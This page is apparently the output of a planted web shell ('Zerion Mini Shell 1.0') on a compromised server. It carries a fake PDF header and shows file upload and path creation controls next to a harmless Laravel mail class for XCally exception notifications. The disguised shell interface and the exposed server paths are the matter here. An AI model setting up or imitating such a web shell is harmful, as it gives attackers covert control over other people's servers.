%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/camillo/camillo-api-master/app/Mail/
Upload File :
Create Path :
Current File : /var/www/html/camillo/camillo-api-master/app/Mail/XCallyExceptionNotification.php

<?php

namespace App\Mail;

use App\Models\Individual;
use Illuminate\Bus\Queueable;
use Illuminate\Mail\Mailable;
use Illuminate\Queue\SerializesModels;
use Illuminate\Contracts\Queue\ShouldQueue;

class XCallyExceptionNotification extends Mailable
{
    use Queueable, SerializesModels;

    public  $url;
    private $message;
    private $noticeId;
    private $alertId;

    /**
     * Create a new message instance.
     *
     * @param $noticeId
     * @param $alertId
     * @param $message
     */
    public function __construct($noticeId, $alertId, $message)
    {
        $this->message = $message;
        $this->noticeId = $noticeId;
        $this->alertId = $alertId;
    }

    /**
     * Build the message.
     *
     * @return $this
     */
    public function build()
    {
        return $this->from(env('MAIL_FROM_ADDRESS', "noreply@camillo.com"))
            ->subject(__("XCally Exception for notice: ". $this->noticeId))
            ->with(['exceptionMessage' => $this->message, 'noticeId' => $this->noticeId, 'alertId' => $this->alertId])
            ->view('emails.xcally-exception');
    }
}

Zerion Mini Shell 1.0